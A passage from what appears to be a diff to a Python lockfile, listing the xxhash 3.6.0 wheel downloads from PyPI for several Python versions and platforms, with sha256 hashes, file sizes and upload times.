193786, upload-time = "2025-10-02T14:33:54.272Z" }, + { url = "https://files.pythonhosted.org/packages/c1/96/fec0be9bb4b8f5d9c57d76380a366f31a1781fb802f76fc7cda6c84893c7/xxhash-3.6.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:48e6f2ffb07a50b52465a1032c3cf1f4a5683f944acaca8a134a2f23674c2058", size = 212830, upload-time = "2025-10-02T14:33:55.706Z" }, + { url = "https://files.pythonhosted.org/packages/c4/a0/c706845ba77b9611f81fd2e93fad9859346b026e8445e76f8c6fd057cc6d/xxhash-3.6.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b5b848ad6c16d308c3ac7ad4ba6bede80ed5df2ba8ed382f8932df63158dd4b2", size = 211606, upload-time = "2025-10-02T14:33:57.133Z" }, + { url = "https://files.pythonhosted.org/packages/67/1e/164126a2999e5045f04a69257eea946c0dc3e86541b400d4385d646b53d7/xxhash-3.6.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a034590a727b44dd8ac5914236a7b8504144447a9682586c3327e935f33ec8cc", size = 444872, upload-time = "2025-10-02T14:33:58.446Z" }, + { url = "https://files.pythonhosted.org/packages/2d/4b/55ab404c56cd70a2cf5ecfe484838865d0fea5627365c6c8ca156bd09c8f/xxhash-3.6.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8a8f1972e75ebdd161d7896743122834fe87378160c20e97f8b09166213bf8cc", size = 193217, upload-time = "2025-10-02T14:33:59.724Z" }, + { url = "https://files.pythonhosted.org/packages/45/e6/52abf06bac316db33aa269091ae7311bd53cfc6f4b120ae77bac1b348091/xxhash-3.6.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:ee34327b187f002a596d7b167ebc59a1b729e963ce645964bbc050d2f1b73d07", size = 210139, upload-time = "2025-10-02T14:34:02.041Z" }, + { url = "https://files.pythonhosted.org/packages/34/37/db94d490b8691236d356bc249c08819cbcef9273a1a30acf1254ff9ce157/xxhash-3.6.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:339f518c3c7a850dd033ab416ea25a692759dc7478a71131fe8869010d2b75e4", size = 197669, upload-time = "2025-10-02T14:34:03.664Z" }, + { url = "https://files.pythonhosted.org/packages/b7/36/c4f219ef4a17a4f7a64ed3569bc2b5a9c8311abdb22249ac96093625b1a4/xxhash-3.6.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:bf48889c9630542d4709192578aebbd836177c9f7a4a2778a7d6340107c65f06", size = 210018, upload-time = "2025-10-02T14:34:05.325Z" }, + { url = "https://files.pythonhosted.org/packages/fd/06/bfac889a374fc2fc439a69223d1750eed2e18a7db8514737ab630534fa08/xxhash-3.6.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:5576b002a56207f640636056b4160a378fe36a58db73ae5c27a7ec8db35f71d4", size = 413058, upload-time = "2025-10-02T14:34:06.925Z" }, + { url = "https://files.pythonhosted.org/packages/c9/d1/555d8447e0dd32ad0930a249a522bb2e289f0d08b6b16204cfa42c1f5a0c/xxhash-3.6.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:af1f3278bd02814d6dedc5dec397993b549d6f16c19379721e5a1d31e132c49b", size = 190628, upload-time = "2025-10-02T14:34:08.669Z" }, + { url = "https://files.pythonhosted.org/packages/d1/15/8751330b5186cedc4ed4b597989882ea05e0408b53fa47bcb46a6125bfc6/xxhash-3.6.0-cp310-cp310-win32.whl", hash = "sha256:aed058764db109dc9052720da65fafe84873b05eb8b07e5e653597951af57c3b", size = 30577, upload-time = "2025-10-02T14:34:10.234Z" }, + { url = "https://files.pythonhosted.org/packages/bb/cc/53f87e8b5871a6eb2ff7e89c48c66093bda2be52315a8161ddc54ea550c4/xxhash-3.6.0-cp310-cp310-win_amd64.whl", hash = "sha256:e82da5670f2d0d98950317f82a0e4a0197150ff19a6df2ba40399c2a3b9ae5fb", size = 31487, upload-time = "2025-10-02T14:34:11.618Z" }, + { url = "https://files.pythonhosted.org/packages/9f/00/60f9ea3bb697667a14314d7269956f58bf56bb73864f8f8d52a3c2535e9a/xxhash-3.6.0-cp310-cp310-win_arm64.whl", hash = "sha256:4a082ffff8c6ac07707fb6b671caf7c6e020c75226c561830b73d862060f281d", size = 27863, upload-time = "2025-10-02T14:34:12.619Z" }, + { url = "https://files.pythonhosted.org/packages/17/d4/cc2f0400e9154df4b9964249da78ebd72f318e35ccc425e9f403c392f22a/xxhash-3.6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b47bbd8cf2d72797f3c2772eaaac0ded3d3af26481a26d7d7d41dc2d3c46b04a", size = 32844, upload-time = "2025-10-02T14:34:14.037Z" }, + { url = "https://files.pythonhosted.org/packages/5e/ec/1cc11cd13e26ea8bc3cb4af4eaadd8d46d5014aebb67be3f71fb0b68802a/xxhash-3.6.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2b6821e94346f96db75abaa6e255706fb06ebd530899ed76d32cd99f20dc52fa", size = 30809, upload-time = "2025-10-02T14:34:15.484Z" }, + { url = "https://files.pythonhosted.org/packages/04/5f/19fe357ea348d98ca22f456f75a30ac0916b51c753e1f8b2e0e6fb884cce/xxhash-3.6.0-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:d0a9751f71a1a65ce3584e9cae4467651c7e70c9d31017fa57574583a4540248", size = 194665, upload-time = "2025-10-02T14:34:16.541Z" }, + { url = "https://files.pythonhosted.org/packages/90/3b/d1f1a8f5442a5fd8beedae110c5af7604dc37349a8e16519c13c19a9a2de/xxhash-3.6.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8b29ee68625ab37b04c0b40c3fafdf24d2f75ccd778333cfb698f65f6c463f62", size = 213550, upload-time = "2025-10-02T14:34:17.878Z" }, + { url = "https://files.pythonhosted.org/packages/c4/ef/3a9b05eb527457d5db13a135a2ae1a26c80fecd624d20f3e8dcc4cb170f3/xxhash-3.6.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6812c25fe0d6c36a46ccb002f40f27ac903bf18af9f6dd8f9669cb4d176ab18f", size = 212384, upload-time = "2025-10-02T14:34:19.182Z" }, + { url = "https://files.pythonhosted.org/packages/0f/18/ccc194ee698c6c623acbf0f8c2969811a8a4b6185af5e824cd27b9e4fd3e/xxhash-3.6.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4ccbff013972390b51a18ef1255ef5ac125c92dc9143b2d1909f59abc765540e", size = 445749, upload-time = "2025-10-02T14:34:20.659Z" }, + { url = "https://files.pythonhosted.org/packages/a5/86/cf2c0321dc3940a7aa73076f4fd677a0fb3e405cb297ead7d864fd90847e/xxhash-3.6.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:297b7fbf86c82c550e12e8fb71968b3f033d27b874276ba3624ea868c11165a8", size = 193880, upload-time = "2025-10-02T14:34:22.431Z" }, + { url = "https://files.pythonhosted.org/packages/82/fb/96213c8560e6f948a1ecc9a7613f8032b19ee45f747f4fca4eb31bb6d6ed/xxhash-3.6.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:dea26ae1eb293db089798d3973a5fc928a18fdd97cc8801226fae705b02b14b0", size = 210912, upload-time = "2025-10-02T14:34:23.937Z" }, + { url = "https://files.pythonhosted.org/packages/40/aa/4395e669b0606a096d6788f40dbdf2b819d6773aa290c19e6e83cbfc312f/xxhash-3.6.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:7a0b169aafb98f4284f73635a8e93f0735f9cbde17bd5ec332480484241aaa77", size = 198654, upload-time = "2025-10-02T14:34:25.644Z" }, + { url = "https://files.pythonhosted.org/packages/67/74/b044fcd6b3d89e9b1b665924d85d3f400636c23590226feb1eb09e1176ce/xxhash-3.6.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:08d45aef063a4531b785cd72de4887766d01dc8f362a515693df349fdb825e0c", size = 210867, upload-time = "2025-10-02T14:34:27.203Z" }, + { url = "https://files.pythonhosted.org/packages/bc/fd/3ce73bf753b08cb19daee1eb14aa0d7fe331f8da9c02dd95316ddfe5275e/xxhash-3.6.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:929142361a48ee07f09121fe9e96a84950e8d4df3bb298ca5d88061969f34d7b", size = 414012, upload-time = "2025-10-02T14:34:28.409Z" }, + { url = "https://files.pythonhosted.org/packages/ba/b3/5a4241309217c5c876f156b10778f3ab3af7ba7e3259e6d5f5c7d0129eb2/xxhash-3.6.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:51312c768403d8540487dbbfb557454cfc55589bbde6424456951f7fcd4facb3", size = 191409, upload-time = "2025-10-02T14:34:29.696Z" }, + { url = "https://files.pythonhosted.org/packages/c0/01/99bfbc15fb9abb9a72b088c1d95219fc4782b7d01fc835bd5744d66dd0b8/xxhash-3.6.0-cp311-cp311-win32.whl", hash = "sha256:d1927a69feddc24c987b337ce81ac15c4720955b667fe9b588e02254b80446fd", size = 30574, upload-time = "2025-10-02T14:34:31.028Z" }, + { url = "https://files.pythonhosted.org/packages/65/79/9d24d7f53819fe301b231044ea362ce64e86c74f6e8c8e51320de248b3e5/xxhash-3.6.0-cp311-cp311-win_amd64.whl", hash = "sha256:26734cdc2d4ffe449b41d186bbeac416f704a482ed835d375a5c0cb02bc63fef", size = 31481, upload-time = "2025-10-02T14:34:32.062Z" }, + { url = "https://files.pythonhosted.org/packages/30/4e/15cd0e3e8772071344eab2961ce83f6e485111fed8beb491a3f1ce100270/xxhash-3.6.0-cp311-cp311-win_arm64.whl", hash = "sha256:d72f67ef8bf36e05f5b6c65e8524f265bd61071471cd4cf1d36743ebeeeb06b7", size = 27861, upload-time = "2025-10-02T14:34:33.555Z" }, + { url = "https://files.pythonhosted.org/packages/9a/07/d9412f3d7d462347e4511181dea65e47e0d0e16e26fbee2ea86a2aefb657/xxhash-3.6.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:01362c4331775398e7bb34e3ab403bc9ee9f7c497bc7dee6272114055277dd3c", size = 32744, upload-time = "2025-10-02T14:34:34.622Z" }, + { url = "https://files.pythonhosted.org/packages/79/35/0429ee11d035fc33abe32dca1b2b69e8c18d236547b9a9b72c1929189b9a/xxhash-3.6.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b7b2df81a23f8cb99656378e72501b2cb41b1827c0f5a86f87d6b06b69f9f204", size = 30816, upload-time = "2025-10-02T14:34:36.043Z" }, + { url = "https://files.pythonhosted.org/packages/b7/f2/57eb99aa0f7d98624c0932c5b9a170e1806406cdbcdb510546634a1359e0/xxhash-3.6.0-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:dc94790144e66b14f67b10ac8ed75b39ca47536bf8800eb7c24b50271ea0c490", size = 194035, upload-time = "2025-10-02T14:34:37.354Z" }, + { url = "https://files.pythonhosted.org/packages/4c/ed/6224ba353690d73af7a3f1c7cdb1fc1b002e38f783cb991ae338e1eb3d79/xxhash-3.6.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:93f107c673bccf0d592cdba077dedaf52fe7f42dcd7676eba1f6d6f0c3efffd2", size = 212914, upload-time = "2025-10-02T14:34:38.6Z" }, + { url = "https://files.pythonhosted.org/packages/38/86/fb6b6130d8dd6b8942cc17ab4d90e223653a89aa32ad2776f8af7064ed13/xxhash-3.6.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2aa5ee3444c25b69813663c9f8067dcfaa2e126dc55e8dddf40f4d1c25d7effa", size = 212163, upload-time = "2025-10-02T14:34:39.872Z" }, + { url = "https://files.pythonhosted.org/packages/ee/dc/e84875682b0593e884ad73b2d40767b5790d417bde603cceb6878901d647/xxhash-3.6.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f7f99123f0e1194fa59cc69ad46dbae2e07becec5df50a0509a808f90a0f03f0", size = 445411, upload-time = "2025-10-02T14:34:41.569Z" }, + { url = "https://files.pythonhosted.org/packages/11/4f/426f91b96701ec2f37bb2b8cec664eff4f658a11f3fa9d94f0a887ea6d2b/xxhash-3.6.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:49e03e6fe2cac4a1bc64952dd250cf0dbc5ef4ebb7b8d96bce82e2de163c82a2", size = 193883, upload-time = "2025-10-02T14:34:43.249Z" }, + { url = "https://files.pythonhosted.org/packages/53/5a/ddbb83eee8e28b778eacfc5a85c969673e4023cdeedcfcef61f36731610b/xxhash-3.6.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:bd17fede52a17a4f9a7bc4472a5867cb0b160deeb431795c0e4abe158bc784e9", size = 210392, upload-time = "2025-10-02T14:34:45.042Z" }, + { url = "https://files.pythonhosted.org/packages/1e/c2/ff69efd07c8c074ccdf0a4f36fcdd3d27363665bcdf4ba399abebe643465/xxhash-3.6.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:6fb5f5476bef678f69db04f2bd1efbed3030d2aba305b0fc1773645f187d6a4e", size = 197898, upload-time = "2025-10-02T14:34:46.302Z" }, + { url = "https://files.pythonhosted.org/packages/58/ca/faa05ac19b3b622c7c9317ac3e23954187516298a091eb02c976d0d3dd45/xxhash-3.6.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:843b52f6d88071f87eba1631b684fcb4b2068cd2180a0224122fe4ef011a9374", size = 210655, upload-time = "2025-10-02T14:34:47.571Z" }, + { url = "https://files.pythonhosted.org/packages/d4/7a/06aa7482345480cc0cb597f5c875b11a82c3953f534394f620b0be2f700c/xxhash-3.6.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:7d14a6cfaf03b1b6f5f9790f76880601ccc7896aff7ab9cd8978a939c1eb7e0d", size = 414001, upload-time = "2025-10-02T14:34:49.273Z" }, + { url = "https://files.pythonhosted.org/packages/23/07/63ffb386cd47029aa2916b3d2f454e6cc5b9f5c5ada3790377d5430084e7/xxhash-3.6.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:418daf3db71e1413cfe211c2f9a528456936645c17f46b5204705581a45390ae", size = 191431, upload-time = "2025-10-02T14:34:50.798Z" }, + { url = "https://files.pythonhosted.org/packages/0f/93/14fde614cadb4ddf5e7cebf8918b7e8fac5ae7861c1875964f17e678205c/xxhash-3.6.0-cp312-cp312-win32.whl", hash = "sha256:50fc255f39428a27299c20e280d6193d8b63b8ef8028995323bf834a026b4fbb", size = 30617, upload-time = "2025-10-02T14:34:51.954Z" }, + { url = "https://files.pythonhosted.org/packages/13/5d/0d125536cbe7565a83d06e43783389ecae0c0f2ed037b48ede185de477c0/xxhash-3.6.0-cp312-cp312-win_amd64.whl", hash = "sha256:c0f2ab8c715630565ab8991b536ecded9416d615538be8ecddce43ccf26cbc7c", size = 31534, upload-time = "2025-10-02T14:34:53.276Z" }, + { url = "https://files.pythonhosted.org/packages/54/85/6ec269b0952ec7e36ba019125982cf11d91256a778c7c3f98a4c5043d283/xxhash-3.6.0-cp312-cp312-win_arm64.whl", hash = "sha256:eae5c13f3bc455a3bbb68bdc513912dc7356de7e2280363ea235f71f54064829", size = 27876, upload-time = "2025-10-02T14:34:54.371Z" }, + { url = "https://files.pythonhosted.org/packages/33/76/35d05267ac82f53ae9b0e554da7c5e281ee61f3cad44c743f0fcd354f211/xxhash-3.6.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:599e64ba7f67472481ceb6ee80fa3bd828fd61ba59fb11475572cc5ee52b89ec", size = 32738, upload-time = "2025-10-02T14:34:55.839Z" }, + { url = "https://files.pythonhosted.org/packages/31/a8/3fbce1cd96534a95e35d5120637bf29b0d7f5d8fa2f6374e31b4156dd419/xxhash-3.6.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:7d8b8aaa30fca4f16f0c84a5c8d7ddee0e25250ec2796c973775373257dde8f1", size = 30821, upload-time = "2025-10-02T14:34:57.219Z" }, + { url = "https://files.pythonhosted.org/packages/0c/ea/d387530ca7ecfa183cb358027f1833297c6ac6098223fd14f9782cd0015c/xxhash-3.6.0-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:d597acf8506d6e7101a4a44a5e428977a51c0fadbbfd3c39650cca9253f6e5a6", size = 194127, upload-time = "2025-10-02T14:34:59.21Z" }, + { url = "https://files.pythonhosted.org/packages/ba/0c/71435dcb99874b09a43b8d7c54071e600a7481e42b3e3ce1eb5226a5711a/xxhash-3.6.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:858dc935963a33bc33490128edc1c12b0c14d9c7ebaa4e387a7869ecc4f3e263", size = 212975, upload-time = "2025-10-02T14:35:00.816Z" }, + { url = "https://files.pythonhosted.org/packages/84/7a/c2b3d071e4bb4a90b7057228a99b10d51744878f4a8a6dd643c8bd897620/xxhash-3.6.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ba284920194615cb8edf73bf52236ce2e1664ccd4a38fdb543506413529cc546", size = 212241, upload-time = "2025-10-02T14:35:02.207Z" }, + { url = "https://files.pythonhosted.org/packages/81/5f/640b6eac0128e215f177df99eadcd0f1b7c42c274ab6a394a05059694c5a/xxhash-3.6.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4b54219177f6c6674d5378bd862c6aedf64725f70dd29c472eaae154df1a2e89", size = 445471, upload-time = "2025-10-02T14:35:03.61Z" }, + { url = "https://files.pythonhosted.org/packages/5e/1e/3c3d3ef071b051cc3abbe3721ffb8365033a172613c04af2da89d5548a87/xxhash-3.6.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:42c36dd7dbad2f5238950c377fcbf6811b1cdb1c444fab447960030cea60504d", size = 193936, upload-time = "2025-10-02T14:35:05.013Z" }, + { url = "https://files.pythonhosted.org/packages/2c/bd/4a5f68381939219abfe1c22a9e3a5854a4f6f6f3c4983a87d255f21f2e5d/xxhash-3.6.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f22927652cba98c44639ffdc7aaf35828dccf679b10b31c4ad72a5b530a18eb7", size = 210440, upload-time = "2025-10-02T14:35:06.239Z" }, + { url = "https://files.pythonhosted.org/packages/eb/37/b80fe3d5cfb9faff01a02121a0f4d565eb7237e9e5fc66e73017e74dcd36/xxhash-3.6.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:b45fad44d9c5c119e9c6fbf2e1c656a46dc68e280275007bbfd3d572b21426db", size = 197990, upload-time = "2025-10-02T14:35:07.735Z" }, + { url = "https://files.pythonhosted.org/packages/d7/fd/2c0a00c97b9e18f72e1f240ad4e8f8a90fd9d408289ba9c7c495ed7dc05c/xxhash-3.6.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:6f2580ffab1a8b68ef2b901cde7e55fa8da5e4be0977c68f78fc80f3c143de42", size = 210689, upload-time = "2025-10-02T14:35:09.438Z" }, + { url = "https://files.pythonhosted.org/packages/93/86/5dd8076a926b9a95db3206aba20d89a7fc14dd5aac16e5c4de4b56033140/xxhash-3.6.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:40c391dd3cd041ebc3ffe6f2c862f402e306eb571422e0aa918d8070ba31da11", size = 414068, upload-time = "2025-10-02T14:35:11.162Z" }, + { url = "https://files.pythonhosted.org/packages/af/3c/0bb129170ee8f3650f08e993baee550a09593462a5cddd8e44d0011102b1/xxhash-3.6.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:f205badabde7aafd1a31e8ca2a3e5a763107a71c397c4481d6a804eb5063d8bd", size = 191495, upload-time = "2025-10-02T14:35:12.971Z" }, + { url = "https://files.pythonhosted.org/packages/e9/3a/6797e0114c21d1725e2577508e24006fd7ff1d8c0c502d3b52e45c1771d8/xxhash-3.6.0-cp313-cp313-win32.whl", hash = "sha256:2577b276e060b73b73a53042ea5bd5203d3e6347ce0d09f98500f418a9fcf799", size = 30620, upload-time = "2025-10-02T14:35:14.129Z" }, + { url = "https://files.pythonhosted.org/packages/86/15/9bc32671e9a38b413a76d24722a2bf8784a132c043063a8f5152d390b0f9/xxhash-3.6.0-cp313-cp313-win_amd64.whl", hash = "sha256:757320d45d2fbcce8f30c42a6b2f47862967aea7bf458b9625b4bbe7ee390392", size = 31542, upload-time = "2025-10-02T14:35:15.21Z" }, + { url = "https://files.pythonhosted.org/packages/39/c5/cc01e4f6188656e56112d6a8e0dfe298a16934b8c47a247236549a3f7695/xxhash-3.6.0-cp313-cp313-win_arm64.whl", hash = "sha256:457b8f85dec5825eed7b69c11ae86834a018b8e3df5e77783c999663da2f96d6", size = 27880, upload-time = "2025-10-02T14:35:16.315Z" }, + { url = "https://files.pythonhosted.org/packages/f3/30/25e5321c8732759e930c555176d37e24ab84365482d257c3b16362235212/xxhash-3.6.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:a42e633d75cdad6d625434e3468126c73f13f7584545a9cf34e883aa1710e702", size = 32956, upload-time = "2025-10-02T14:35:17.413Z" }, + { url = "https://files.pythonhosted.org/packages/9f/3c/0573299560d7d9f8ab1838f1efc021a280b5ae5ae2e849034ef3dee18810/xxhash-3.6.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:568a6d743219e717b07b4e03b0a828ce593833e498c3b64752e0f5df6bfe84db", size = 31072, upload-time = "2025-10-02T14:35:18.844Z" }, + { url = "https://files.pythonhosted.org/packages/7a/1c/52d83a06e417cd9d4137722693424885cc9878249beb3a7c829e74bf7ce9/xxhash-3.6.0-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:bec91b562d8012dae276af8025a55811b875baace6af510412a5e58e3121bc54", size = 196409, upload-time = "2025-10-02T14:35:20.31Z" }, + { url = "https://files.pythonhosted.org/packages/e3/8e/c6d158d12a79bbd0b878f8355432075fc82759e356ab5a111463422a239b/xxhash-3.6.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:78e7f2f4c521c30ad5e786fdd6bae89d47a32672a80195467b5de0480aa97b1f", size = 215736, upload-time = "2025-10-02T14:35:21.616Z" }, + { url = "https://files.pythonhosted.org/packages/bc/68/c4c80614716345d55071a396cf03d06e34b5f4917a467faf43083c995155/xxhash-3.6.0-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:3ed0df1b11a79856df5ffcab572cbd6b9627034c1c748c5566fa79df9048a7c5", size = 214833, upload-time = "2025-10-02T14:35:23.32Z" }, + { url = "https://files.pythonhosted.org/packages/7e/e9/ae27c8ffec8b953efa84c7c4a6c6802c263d587b9fc0d6e7cea64e08c3af/xxhash-3.6.0-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0e4edbfc7d420925b0dd5e792478ed393d6e75ff8fc219a6546fb446b6a417b1", size = 448348, upload-time = "2025-10-02T14:35:25.111Z" }, + { url = "https://files.pythonhosted.org/packages/d7/6b/33e21afb1b5b3f46b74b6bd1913639066af218d704cc0941404ca717fc57/xxhash-3.6.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fba27a198363a7ef87f8c0f6b171ec36b674fe9053742c58dd7e3201c1ab30ee", size = 196070, upload-time = "2025-10-02T14:35:26.586Z" }, + { url = "https://files.pythonhosted.org/packages/96/b6/fcabd337bc5fa624e7203aa0fa7d0c49eed22f72e93229431752bddc83d9/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:794fe9145fe60191c6532fa95063765529770edcdd67b3d537793e8004cabbfd", size = 212907, upload-time = "2025-10-02T14:35:28.087Z" }, + { url = "https://files.pythonhosted.org/packages/4b/d3/9ee6160e644d660fcf176c5825e61411c7f62648728f69c79ba237250143/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:6105ef7e62b5ac73a837778efc331a591d8442f8ef5c7e102376506cb4ae2729", size = 200839, upload-time = "2025-10-02T14:35:29.857Z" }, + { url = "https://files.pythonhosted.org/packages/0d/98/e8de5baa5109394baf5118f5e72ab21a86387c4f89b0e77ef3e2f6b0327b/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:f01375c0e55395b814a679b3eea205db7919ac2af213f4a6682e01220e5fe292", size = 213304, upload-time = "2025-10-02T14:35:31.222Z" }, + { url = "https://files.pythonhosted.org/packages/7b/1d/71056535dec5c3177eeb53e38e3d367dd1d16e024e63b1cee208d572a033/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:d706dca2d24d834a4661619dcacf51a75c16d65985718d6a7d73c1eeeb903ddf", size = 416930, upload-time = "2025-10-02T14:35:32.517Z" }, + { url = "https://files.pythonhosted.org/packages/dc/6c/5cbde9de2cd967c322e651c65c543700b19e7ae3e0aae8ece3469bf9683d/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:5f059d9faeacd49c0215d66f4056e1326c80503f51a1532ca336a385edadd033", size = 193787, upload-time = "2025-10-02T14:35:33.827Z" }, + { url = "https://files.pythonhosted.org/packages/19/fa/0172e350361d61febcea941b0cc541d6e6c8d65d153e85f850a7b256ff8a/xxhash-3.6.0-cp313-cp313t-win32.whl", hash = "sha256:1244460adc3a9be84731d72b8e80625788e5815b68da3da8b83f78115a40a7ec", size = 30916, upload-time = "2025-10-02T14:35:35.107Z" }, + { url = "https://files.pythonhosted.org/packages/ad/e6/e8cf858a2b19d6d45820f072eff1bea413910592ff17157cabc5f1227a16/xxhash-3.6.0-cp313-cp313t-win_amd64.whl", hash = "sha256:b1e420ef35c503869c4064f4a2f2b08ad6431ab7b229a05cce39d74268bca6b8", size = 31799, upload-time = "2025-10-02T14:35:36.165Z" }, + { url = "https://files.pythonhosted.org/packages/56/15/064b197e855bfb7b343210e82490ae672f8bc7cdf3ddb02e92f64304ee8a/xxhash-3.6.0-cp313-cp313t-win_arm64.whl", hash = "sha256:ec44b73a4220623235f67a996c862049f375df3b1052d9899f40a6382c32d746", size = 28044, upload-time = "2025-10-02T14:35:37.195Z" }, + { url = "https://files.pythonhosted.org/packages/7e/5e/0138bc4484ea9b897864d59fce9be9086030825bc778b76cb5a33a906d37/xxhash-3.6.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:a40a3d35b204b7cc7643cbcf8c9976d818cb47befcfac8bbefec8038ac363f3e", size = 32754, upload-time = "2025-10-02T14:35:38.245Z" }, + { url = "https://files.pythonhosted.org/packages/18/d7/5dac2eb2ec75fd771957a13e5dda560efb2176d5203f39502a5fc571f899/xxhash-3.6.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a54844be970d3fc22630b32d515e79a90d0a3ddb2644d8d7402e3c4c8da61405", size = 30846, upload-time = "2025-10-02T14:35:39.6Z" }, + { url = "https://files.pythonhosted.org/packages/fe/71/8bc5be2bb00deb5682e92e8da955ebe5fa982da13a69da5a40a4c8db12fb/xxhash-3.6.0-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:016e9190af8f0a4e3741343777710e3d5717427f175adfdc3e72508f59e2a7f3", size = 194343, upload-time = "2025-10-02T14:35:40.69Z" }, + { url = "https://files.pythonhosted.org/packages/e7/3b/52badfb2aecec2c377ddf1ae75f55db3ba2d321c5e164f14461c90837ef3/xxhash-3.6.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4f6f72232f849eb9d0141e2ebe2677ece15adfd0fa599bc058aad83c714bb2c6", size = 213074, upload-time = "2025-10-02T14:35:42.29Z" }, + { url = "https://files.pythonhosted.org/packages/a2/2b/ae46b4e9b92e537fa30d03dbc19cdae57ed407e9c26d163895e968e3de85/xxhash-3.6.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:63275a8aba7865e44b1813d2177e0f5ea7eadad3dd063a21f7cf9afdc7054063", size = 212388, upload-time = "2025-10-02T14:35:43.929Z" }, + { url = "https://files.pythonhosted.org/packages/f5/80/49f88d3afc724b4ac7fbd664c8452d6db51b49915be48c6982659e0e7942/xxhash-3.6.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3cd01fa2aa00d8b017c97eb46b9a794fbdca53fc14f845f5a328c71254b0abb7", size = 445614, upload-time = "2025-10-02T14:35:45.216Z" }, + { url = 